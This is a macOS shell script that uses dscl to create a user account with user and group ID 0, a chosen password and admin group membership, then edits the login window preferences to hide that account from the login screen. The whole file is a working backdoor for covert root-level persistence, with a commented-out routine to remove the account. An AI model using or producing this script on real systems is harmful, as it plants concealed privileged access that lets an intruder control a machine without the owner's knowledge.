#!/bin/sh if [ -z $1 ] ; then echo "usage: `basename $0` [username] [password] ([UID] optional) ([GID] optional)" exit 1 fi USERNAME=$1 PASSWORD=$2 USERID=$3 GROUPID=$4 if [ `uname -r | cut -c1` = 8 ] ; then PATH='/NetInfo/root' elif [ `uname -r | cut -c1` = 9 ] ; then PATH='/Local/Default' else exit 1 fi if [ -z $GROUPID ] || [ -z $UNIQUEID ] ; then GROUPID=0 UNIQUEID=0 fi checkUser () { if [[ `/usr/bin/dscl localhost list /Local/Default/Users | /usr/bin/grep "$USERNAME" | /usr/bin/grep -v "$USERNAME." | /usr/bin/grep -v ".$USERNAME"` == "$USERNAME" ]] ; then echo "the username '$USERNAME' already exists" exit 1 fi } makeUser () { /usr/bin/sudo /usr/bin/dscl localhost create $PATH/Users/$USERNAME /usr/bin/sudo /usr/bin/dscl localhost create $PATH/Users/$USERNAME PrimaryGroupID 0 /usr/bin/sudo /usr/bin/dscl localhost create $PATH/Users/$USERNAME UniqueID 0 /usr/bin/sudo /usr/bin/dscl localhost create $PATH/Users/$USERNAME UserShell /bin/bash /usr/bin/sudo /usr/bin/dscl localhost passwd $PATH/Users/$USERNAME $PASSWORD /usr/bin/sudo /usr/bin/dscl localhost append $PATH/Groups/admin GroupMembership $USERNAME } deleteUser () { /usr/bin/sudo /usr/bin/dscl localhost delete $PATH/Users/$USERNAME /usr/bin/sudo /usr/bin/dscl localhost delete $PATH/Groups/admin GroupMembership $USERNAME } hideUser () { /usr/bin/sudo /bin/cp -n /Library/Preferences/com.apple.loginwindow.plist /Library/Preferences/com.apple.loginwindow.plist.backup /usr/bin/sudo /usr/bin/defaults write /Library/Preferences/com.apple.loginwindow Hide500Users -bool TRUE /usr/bin/sudo /usr/bin/defaults write /Library/Preferences/com.apple.loginwindow HiddenUsersList -array $USERNAME /usr/bin/sudo /usr/bin/defaults write /Library/Preferences/com.apple.loginwindow SHOWOTHERUSERS_MANAGED -bool FALSE } checkUser makeUser hideUser #deleteUser